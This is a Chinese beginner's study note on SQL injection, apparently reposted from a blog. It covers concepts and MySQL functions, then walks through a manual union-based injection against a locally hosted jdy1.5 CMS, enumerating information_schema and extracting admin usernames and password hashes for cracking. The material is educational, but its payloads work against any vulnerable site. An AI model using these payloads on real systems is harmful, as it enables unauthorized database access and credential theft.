【渗透测试小白系列】之SQL注入

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

一、介绍

1.SQL注入漏洞的本质:后端代码再执行过程中,将用户输入的数据也当作代码来执行,违背代码和数据相分离原则

2.注入的原因:前端传递的参数可以随意控制,参数可控;后端对前端传递过来的数据没有过滤,或过滤不严谨,最终导致SQL注入

3.SQL注入漏洞有两个关键条件:

  • 用户能控制输入的内容
  • Web应用把用户输入的内容带入到数据库中执行

4.危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell等等

5.分类:

  • 请求方式:get post cookie
  • 参数形式:整型 字符型 搜索
  • 反馈类型:报错 union 布尔(时间或页面显示状态) 延时
  • 数据库类型:access mssql mysql oracle nosql等等
  • 利用技术:布尔 报错 内联 堆叠 时间 联合、

 

二、常用的数据库函数以及常量

1.@@tmpdir  查看临时目录

2.@@datadir  数据存放的位置

3.@@basedir  数据库服务所在位置

4.@@version  查看版本号

5.@@hostname  查看当前用户名

6.ascii()  返回字符串str的最左字符的数值

7.user()  获取登陆用户名

8.version()  获取当前版本号

9.database()  获取当前数据库

10.concat()  将多个字符串连接成一个字符串

11.group_concat()  将group by产生的同一个分组中的值连接起来,返回一个字符串结果

12.concat_ws()  将多个字符串连接成一个字符串

13.截取字符串:

  • substr() oracle mysql mssql
  • substring() MySQL mssql
  • mid() mysql
  • 注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度
  • left(pa1,pa2) pa1是被截取的字符串,从左开始截取,pa2是截取的位数
  • right(pa1,pa2) pa1是被截取的字符串,从右开始截取,pa2是截取的位数

15.sleep()  休眠

16.ord()  显示字符的ASCII

17.条件判断:

  • if(条件,条件为真时的返回值或语句,条件为假时的返回值或语句)
  • case when 条件 then 条件为真时的返回值或语句 else 条件为假时的返回值或语句 end
    • 如:select 1,case when 1=1 then ‘hello’ else ‘goodbye’ end,3 --+

19.length()  计算字符串长度

20.联合查询

  • select * from users where id=1 union select “a”,”b”,”c”;
  • select * from users where id=0.01 union selcet 1,2,user(),4,@@databases; 

 

三、MySQL数据库:一库一表三字段

1.一库:information_schema库  存放系统库,汇总(其他数据库的库名、表名、字段名)

2.一表:columns表  存放数据(库名、表名、字段名)

3.三字段:

  • table_schema字段  存放其他数据库的库名
  • table_name字段  存放其他数据库的表名
  • column_name字段  存放其他数据库的字段名
1 select table_schema table_name column_name from information_schema.columns;  查询三字段所对应的数据
2 select table_schema table_name column_name from information_schema.columns where table_schema=”dvwa”;  有条件的查询
3 select table_schema table_name column_name from information_schema.columns where table_schema=0x64767761;  将dvwa转为16进制

注:MySQL的版本号需要>5.0

 

四、手工注入

  • 测试使用搭建的jdy1.5网站

1.检测注入点:即可能存在SQL注入的地方,找到有类似id(id/uid/key、typeid/sid等等)的参数,后面需要输入一些检测的恶意代码(payload):' 或 'and 1=1# 或 'and 1=2-- 或 -1' or '1'='1'等等

  • 需不需要单引号,是由后端拼接的SQL语句决定的,如(%23是#的URL编码):
1 SELECT * FROM users WHERE id='$id' LIMIT 0,1
2     前端测试: id=1and 1=1%23
3 SELECT * FROM users WHERE id=$id LIMIT 0,1
4     前端测试:id=1 and 1=1%23
  • 输入的恶意代码被成功执行(根据页面显示效果以及报错信息等来判断),说明此处有SQL注入点
  • 接下来还要判断注入的方式:根据页面的回显效果来决定使用哪种注入技术
  • 判断从后台数据库中选择的列数以及哪几列在前端显示
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=1 order by 6#
  • 更换数字,根据页面显示效果判断后台数据库选择的列数,5列(信息收集)
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,2,3,4,5%23
  • 根据页面显示效果可知在2的位置显示到前端,即可将2替换为SQL语句

2.收集后台数据库信息

1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,user(),3,4,5%23  查看当前用户
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,database(),3,4,5%23  查看当前数据库
3 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
4     distinct  去重
5     group_concat  分组并拼接
6     空格可以用+代替

3.获取当前数据库下的数据表

http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23

4.获取当前数据库下指定表下的字段名

1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’),3,4,5%23
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
  • 一般需要找后台或敏感的数据表,0x6a6479636d73是‘jdycms’的16进制转码

5.获取字段数据

1 select concat(username,0x7e,password)from jdy_admin limit 0,1;
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select concat(username,0x7e,password)from jdy_admin limit 0,1),3,4,5%23

6.解密:使用cmd5、pmd5等等

7.找后台登录:可以猜、目录扫描或信息收集等等

猜你喜欢

转载自www.cnblogs.com/yankaohaitaiwei/p/11723480.html